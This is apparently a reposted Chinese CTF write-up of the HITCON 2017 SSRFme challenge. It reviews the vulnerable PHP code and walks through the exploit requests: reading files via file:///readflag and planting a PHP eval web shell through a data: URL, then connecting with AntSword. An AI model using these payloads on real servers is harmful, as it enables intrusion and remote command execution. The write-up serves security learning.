当前位置: 首页 > news >正文

HITCON2017SSRFME-学习复盘

代码审计

192.168.122.15 
<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);//用逗号分割多个IP
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];//给第一个IP发送请求
    //在存在有请求头时执行
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);//创建文件夹
    @chdir($sandbox);//移动到该文件夹下

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));//escapeshellarg()它用于安全地将字符串转换为shell命令的参数。这个函数通过在字符串两边添加单引号,并且转义内部所有的单引号,来确保传递给shell函数的字符串不会引起安全问题。提取url给url加上单引号作为命令,perl语言向url发送get请求
    $info = pathinfo($_GET["filename"]);//提取文件路径信息,目录名,后缀
    $dir  = str_replace(".", "", basename($info["dirname"]));//路径的.换为空
    @mkdir($dir);//创建传入的目录
    @chdir($dir);//切换到该目录下
    @file_put_contents(basename($info["basename"]), $data);//将请求结果写入传入的文件里

    highlight_file(__FILE__);

所以我们在请求?url=/&filename=1.php时,会在/sandbox/md5(orange192.168.122.15)/下把url的结果写入文件1.php。

SSRF利用

?url=/&filename=1.php
漏洞点显而易见是在参数url,传入url=/返回上一级目录。读取目录结果在
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/1.php
目录里有个readflag文件
?url=file:///readflag&filename=2.php
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/2.php
读取到文件是乱码,含有flag的字样,尝试上传一句话木马,连接后再执行该文件。
?url=data:text/plain;'<?php @eval($_POST['123']);?>'&filename=3.php
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/3.php
看到两个引号表示上传成功,用蚁剑连接,在根目录打开终端。
./readflag
得到flag。

参考文章

https://www.cnblogs.com/CAPD/p/17858896.html

相关文章:

  • 【大语言模型】【整合版】DeepSeek 模型提示词学习笔记(散装的可以看我之前的学习笔记,这里只是归纳与总结了一下思路,内容和之前发的差不多)
  • Day8 蓝桥杯acw讲解
  • Rust 驱动的 Python 工具革命:Ruff 和 uv 与传统工具的对比分
  • nodejs:express + js-mdict 作为后端,vue 3 + vite 作为前端,在线查询英汉词典
  • 【由技及道】SpringBoot启动即退出的量子纠缠诊断实录【人工智障AI2077的开发问题日志】
  • JavaScript函数-函数案例
  • VScode中Markdown PDF无法正确输出包含数学公式的pdf解决方案
  • C# Combox 绑定数据
  • 详解 Spring 配置数据源的两种方式
  • 【Linux】进程控制
  • 代码审计入门学习
  • CCA社群共識聯盟正式上線
  • N皇后问题(位运算版本)
  • Tips :仿真竞争条件 指的是什么?
  • FFmpeg+vvenc实现H.266的视频编解码教程
  • SAP-ABAP:使用ST05(SQL Trace)追踪结构字段来源的步骤
  • JavaScript系列(88)--Babel 编译原理详解
  • 5秒修改文件默认打开方式-windows版
  • 蓝桥杯 Java B 组之回溯剪枝优化(N皇后、数独)
  • Milvus x DeepSeek 搭建低成本高精度 RAG 实战
  • 申论|空间更新结合“青银共生”,助力青年发展型城区建设
  • 【社论】公平有序竞争,外卖行业才能多赢
  • 男子入户强奸高龄独居妇女致其死亡,法院:属实,已执行死刑
  • 在笔墨金石间,看胡问遂与梅舒适的艺术对话
  • 支持企业增强战略敏捷更好发展,上海市领导密集走访外贸外资企业
  • 福州千余公共道路泊车位装“智能地锁”续:运营公司被责令改正并罚款